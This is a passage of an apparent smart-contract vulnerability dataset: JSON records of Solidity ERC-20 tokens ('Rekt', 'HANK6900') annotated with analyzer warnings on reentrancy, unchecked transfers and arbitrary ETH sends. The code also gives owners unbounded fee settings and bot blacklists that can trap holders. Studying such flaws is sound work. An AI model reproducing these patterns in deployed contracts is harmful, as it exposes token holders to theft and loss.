public swapEnabled;\n\n uint256 private _tokensForDev;\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2ef3c9c): Rekt.constructor() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 2ef3c9c: Ensure that all the return values of the function calls are used.\n constructor() ERC20(\"Rekt\", \"REKT\") {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _excludedFees[owner()] = true;\n\n _excludedFees[address(this)] = true;\n\n _excludedFees[DEAD] = true;\n\n _excludedFees[\n address(0x0ff7635630181da921c43B2aaE908bA988C223D0)\n ] = true;\n\n _excludedMaxTx[owner()] = true;\n\n _excludedMaxTx[address(this)] = true;\n\n _excludedMaxTx[DEAD] = true;\n\n _excludedMaxTx[\n address(0x0ff7635630181da921c43B2aaE908bA988C223D0)\n ] = true;\n\n _approve(address(this), address(uniswapV2Router), _tSupply);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: 2ef3c9c\n IERC20(uniswapV2Pair).approve(\n address(uniswapV2Router),\n type(uint256).max\n );\n\n _mint(owner(), (_tSupply * (70)) / (100));\n\n _mint(\n address(0x0ff7635630181da921c43B2aaE908bA988C223D0),\n (_tSupply * (30)) / (100)\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 396eeb3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 396eeb3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8b55c3f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8b55c3f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2335726): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2335726: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != ZERO, \"ERC20: transfer from the zero address\");\n\n require(to != ZERO, \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takeFee = true;\n\n bool shouldSwap = false;\n\n if (\n from != owner() &&\n to != owner() &&\n to != ZERO &&\n to != DEAD &&\n !_swapping\n ) {\n require(!_isBot[from] && !_isBot[to], \"Bot.\");\n\n if (!tradingOpen)\n require(\n _excludedFees[from] || _excludedFees[to],\n \"Trading is not allowed yet.\"\n );\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_excludedMaxTx[to]\n ) {\n require(\n amount <= maxBuyAmount,\n \"Transfer amount exceeds the maxBuyAmount.\"\n );\n\n require(\n balanceOf(to) + amount <= maxWalletAmount,\n \"Exceeds maximum wallet token amount.\"\n );\n }\n\n if (\n to == uniswapV2Pair &&\n from != address(uniswapV2Router) &&\n !_excludedMaxTx[from]\n ) {\n require(\n amount <= maxSellAmount,\n \"Transfer amount exceeds the maxSellAmount.\"\n );\n\n shouldSwap = true;\n }\n }\n\n if (_excludedFees[from] || _excludedFees[to]) takeFee = false;\n\n if (from != uniswapV2Pair && to != uniswapV2Pair) takeFee = false;\n\n uint256 contractBalance = balanceOf(address(this));\n\n bool canSwap = (contractBalance > _swapTokensAtAmount) && shouldSwap;\n\n if (\n canSwap &&\n swapEnabled &&\n !_swapping &&\n !_excludedFees[from] &&\n !_excludedFees[to]\n ) {\n _swapping = true;\n\n\t\t\t// reentrancy-events | ID: 396eeb3\n\t\t\t// reentrancy-benign | ID: 8b55c3f\n\t\t\t// reentrancy-eth | ID: 2335726\n _swapBack(contractBalance);\n\n\t\t\t// reentrancy-eth | ID: 2335726\n _swapping = false;\n }\n\n\t\t// reentrancy-events | ID: 396eeb3\n\t\t// reentrancy-benign | ID: 8b55c3f\n\t\t// reentrancy-eth | ID: 2335726\n _tokenTransfer(from, to, amount, takeFee, shouldSwap);\n }\n\n function startTrading() public onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n swapEnabled = true;\n\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: f5bb9ef): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for f5bb9ef: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _swapBack(uint256 contractBalance) internal {\n uint256 totalTokensToSwap = (_tokensForDev);\n\n bool success;\n\n if (contractBalance == 0 || totalTokensToSwap == 0) return;\n\n if (contractBalance > _swapTokensAtAmount * (5))\n contractBalance = _swapTokensAtAmount * (5);\n\n uint256 amountToSwapForETH = contractBalance;\n\n uint256 initialETHBalance = address(this).balance;\n\n\t\t// reentrancy-no-eth | ID: f5bb9ef\n swapTokensForETH(amountToSwapForETH);\n\n uint256 ETHBalance = address(this).balance - (initialETHBalance);\n\n uint256 ETHForDev = ETHBalance;\n\n\t\t// reentrancy-no-eth | ID: f5bb9ef\n _tokensForDev = 0;\n\n\t\t// reentrancy-events | ID: 396eeb3\n\t\t// reentrancy-benign | ID: 8b55c3f\n\t\t// reentrancy-eth | ID: 2335726\n (success, ) = address(_devWallet).call{value: ETHForDev}(\"\");\n }\n\n function swapTokensForETH(uint256 tokenAmount) internal {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 396eeb3\n\t\t// reentrancy-benign | ID: 8b55c3f\n\t\t// reentrancy-no-eth | ID: f5bb9ef\n\t\t// reentrancy-eth | ID: 2335726\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: bdaef86): Rekt.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _devWallet.transfer(amount)\n\t// Recommendation for bdaef86: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) internal {\n\t\t// arbitrary-send-eth | ID: bdaef86\n _devWallet.transfer(amount);\n }\n\n function isBot(address wallet) external view returns (bool) {\n return _isBot[wallet];\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 703c05d): Rekt.setSwapTokensAtAmount(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for 703c05d: Emit an event for critical parameter changes.\n function setSwapTokensAtAmount(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: 703c05d\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function updateMarketingAddr(address devWallet) public onlyOwner {\n require(devWallet != ZERO, \"_devWallet address cannot be 0\");\n\n _excludedFees[_devWallet] = false;\n\n _excludedMaxTx[_devWallet] = false;\n\n _devWallet = payable(devWallet);\n\n _excludedFees[_devWallet] = true;\n\n _excludedMaxTx[_devWallet] = true;\n }\n\n function excludeFromFees(\n address[] memory accounts,\n bool exclude\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++)\n _excludedFees[accounts[i]] = exclude;\n }\n\n function excludeFromMaxTx(\n address[] memory accounts,\n bool exclude\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++)\n _excludedMaxTx[accounts[i]] = exclude;\n }\n\n function bots(address[] memory accounts, bool bl) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n if (\n (accounts[i] != uniswapV2Pair) &&\n (accounts[i] != address(this)) &&\n (accounts[i] != address(uniswapV2Router))\n ) _isBot[accounts[i]] = bl;\n }\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e0506d0): Rekt.updateBuyFee(uint256) should emit an event for buyDevFee = _buyDevFee \n\t// Recommendation for e0506d0: Emit an event for critical parameter changes.\n function updateBuyFee(uint256 _buyDevFee) public onlyOwner {\n\t\t// events-maths | ID: e0506d0\n buyDevFee = _buyDevFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 97231f3): Rekt.updateSellFee(uint256) should emit an event for sellDevFee = _sellDevFee \n\t// Recommendation for 97231f3: Emit an event for critical parameter changes.\n function updateSellFee(uint256 _sellDevFee) public onlyOwner {\n\t\t// events-maths | ID: 97231f3\n sellDevFee = _sellDevFee;\n }\n\n function removeFee() internal {\n if (buyDevFee == 0 && sellDevFee == 0) return;\n\n\t\t// reentrancy-benign | ID: 8b55c3f\n _previousBuyDevFee = buyDevFee;\n\n\t\t// reentrancy-benign | ID: 8b55c3f\n _previousSellDevFee = sellDevFee;\n\n\t\t// reentrancy-benign | ID: 8b55c3f\n buyDevFee = 0;\n\n\t\t// reentrancy-benign | ID: 8b55c3f\n sellDevFee = 0;\n }\n\n function restoreFee() internal {\n\t\t// reentrancy-benign | ID: 8b55c3f\n buyDevFee = _previousBuyDevFee;\n\n\t\t// reentrancy-benign | ID: 8b55c3f\n sellDevFee = _previousSellDevFee;\n }\n\n function setSwapEnabled(bool onoff) public onlyOwner {\n swapEnabled = onoff;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 575b877): Rekt.setMaxBuyAmount(uint256) should emit an event for maxBuyAmount = _maxBuyAmount \n\t// Recommendation for 575b877: Emit an event for critical parameter changes.\n function setMaxBuyAmount(uint256 _maxBuyAmount) public onlyOwner {\n\t\t// events-maths | ID: 575b877\n maxBuyAmount = _maxBuyAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c67ae60): Rekt.setMaxSellAmount(uint256) should emit an event for maxSellAmount = _maxSellAmount \n\t// Recommendation for c67ae60: Emit an event for critical parameter changes.\n function setMaxSellAmount(uint256 _maxSellAmount) public onlyOwner {\n\t\t// events-maths | ID: c67ae60\n maxSellAmount = _maxSellAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e0e8255): Rekt.setMaxWalletAmount(uint256) should emit an event for maxWalletAmount = _maxWalletAmount \n\t// Recommendation for e0e8255: Emit an event for critical parameter changes.\n function setMaxWalletAmount(uint256 _maxWalletAmount) public onlyOwner {\n\t\t// events-maths | ID: e0e8255\n maxWalletAmount = _maxWalletAmount;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee,\n bool isSell\n ) internal {\n if (!takeFee) removeFee();\n else amount = _takeFees(sender, amount, isSell);\n\n super._transfer(sender, recipient, amount);\n\n if (!takeFee) restoreFee();\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d03cb99): Rekt._takeFees(address,uint256,bool) performs a multiplication on the result of a division fees = (amount * (_totalFees)) / (FEE_DIVISOR) _tokensForDev += (fees * _devFee) / _totalFees\n\t// Recommendation for d03cb99: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 731cba6): Rekt._takeFees(address,uint256,bool).fees is a local variable never initialized\n\t// Recommendation for 731cba6: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _takeFees(\n address sender,\n uint256 amount,\n bool isSell\n ) internal returns (uint256) {\n if (isSell) _setSell();\n else _setBuy();\n\n uint256 fees;\n\n if (_totalFees > 0) {\n\t\t\t// divide-before-multiply | ID: d03cb99\n fees = (amount * (_totalFees)) / (FEE_DIVISOR);\n\n\t\t\t// divide-before-multiply | ID: d03cb99\n\t\t\t// reentrancy-eth | ID: 2335726\n _tokensForDev += (fees * _devFee) / _totalFees;\n }\n\n if (fees > 0) super._transfer(sender, address(this), fees);\n\n return amount -= fees;\n }\n\n function _setSell() internal {\n\t\t// reentrancy-benign | ID: 8b55c3f\n _devFee = sellDevFee;\n\n\t\t// reentrancy-benign | ID: 8b55c3f\n _totalFees = (_devFee);\n }\n\n function _setBuy() internal {\n\t\t// reentrancy-benign | ID: 8b55c3f\n _devFee = buyDevFee;\n\n\t\t// reentrancy-benign | ID: 8b55c3f\n _totalFees = (_devFee);\n }\n\n function manualSwap() public onlyOwner {\n uint256 contractBalance = balanceOf(address(this));\n\n swapTokensForETH(contractBalance);\n }\n\n function sendETHtoFees() public onlyOwner {\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n function withdrawETH() public onlyOwner {\n bool success;\n\n (success, ) = address(msg.sender).call{value: address(this).balance}(\n \"\"\n );\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: f1d54a6): Rekt.withdrawTokens(address) ignores return value by IERC20(tkn).transfer(msg.sender,amount)\n\t// Recommendation for f1d54a6: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function withdrawTokens(address tkn) public onlyOwner {\n require(tkn != address(this), \"Cannot withdraw this token\");\n\n require(IERC20(tkn).balanceOf(address(this)) > 0, \"No tokens\");\n\n uint256 amount = IERC20(tkn).balanceOf(address(this));\n\n\t\t// unchecked-transfer | ID: f1d54a6\n IERC20(tkn).transfer(msg.sender, amount);\n }\n\n function removeLimits() public onlyOwner {\n maxBuyAmount = _tSupply;\n\n maxSellAmount = _tSupply;\n\n maxWalletAmount = _tSupply;\n }\n\n receive() external payable {}\n\n fallback() external payable {}\n}\n",
"file_name": "solidity_code_10864.sol",
"size_bytes": 25916,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract HANK6900 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: aa955f3): HANK6900._taxWallet should be immutable \n\t// Recommendation for aa955f3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"HANK6900\";\n\n string private constant _symbol = unicode\"HANK6900\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 95e82fc): HANK6900._initialBuyTax should be constant \n\t// Recommendation for 95e82fc: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: df836eb): HANK6900._initialSellTax should be constant \n\t// Recommendation for df836eb: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: c437d7b): HANK6900._finalBuyTax should be constant \n\t// Recommendation for c437d7b: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8bdae6b): HANK6900._finalSellTax should be constant \n\t// Recommendation for 8bdae6b: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5d726dc): HANK6900._reduceBuyTaxAt should be constant \n\t// Recommendation for 5d726dc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 244b6db): HANK6900._reduceSellTaxAt should be constant \n\t// Recommendation for 244b6db: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 27;\n\n\t// WARNING Optimization Issue (constable-states | ID: 24d6243): HANK6900._preventSwapBefore should be constant \n\t// Recommendation for 24d6243: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 78ec06e): HANK6900._taxSwapThreshold should be constant \n\t// Recommendation for 78ec06e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 987e97a): HANK6900._maxTaxSwap should be constant \n\t// Recommendation for 987e97a: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d0c7b2d): HANK6900.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d0c7b2d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 75e4521): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 75e4521: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 13eb380): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 13eb380: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 75e4521\n\t\t// reentrancy-benign | ID: 13eb380\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 75e4521\n\t\t// reentrancy-benign | ID: 13eb380\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ba68da5): HANK6900._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ba68da5: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 13eb380\n\t\t// reentrancy-benign | ID: a371ad3\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 75e4521\n\t\t// reentrancy-events | ID: ce5b12e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1f58ec5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1f58ec5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b24f0b4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b24f0b4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 1f58ec5\n\t\t\t\t// reentrancy-eth | ID: b24f0b4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 1f58ec5\n\t\t\t\t\t// reentrancy-eth | ID: b24f0b4\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: b24f0b4\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: b24f0b4\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b24f0b4\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 1f58ec5\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: b24f0b4\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b24f0b4\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 1f58ec5\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 75e4521\n\t\t// reentrancy-events | ID: ce5b12e\n\t\t// reentrancy-events | ID: 1f58ec5\n\t\t// reentrancy-benign | ID: 13eb380\n\t\t// reentrancy-benign | ID: a371ad3\n\t\t// reentrancy-eth | ID: b24f0b4\n\t\t// reentrancy-eth | ID: 1e0e026\n\t\t// reentrancy-eth | ID: 79848ab\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: ea905dc): HANK6900.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for ea905dc: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 75e4521\n\t\t// reentrancy-events | ID: ce5b12e\n\t\t// reentrancy-events | ID: 1f58ec5\n\t\t// reentrancy-eth | ID: b24f0b4\n\t\t// reentrancy-eth | ID: 1e0e026\n\t\t// reentrancy-eth | ID: 79848ab\n\t\t// arbitrary-send-eth | ID: ea905dc\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ce5b12e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ce5b12e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a371ad3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a371ad3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ebe95b1): HANK6900.Launch() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for ebe95b1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 598e5f4): HANK6900.Launch() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 598e5f4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1e0e026): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1e0e026: Apply the check-effects-interactions pattern (see 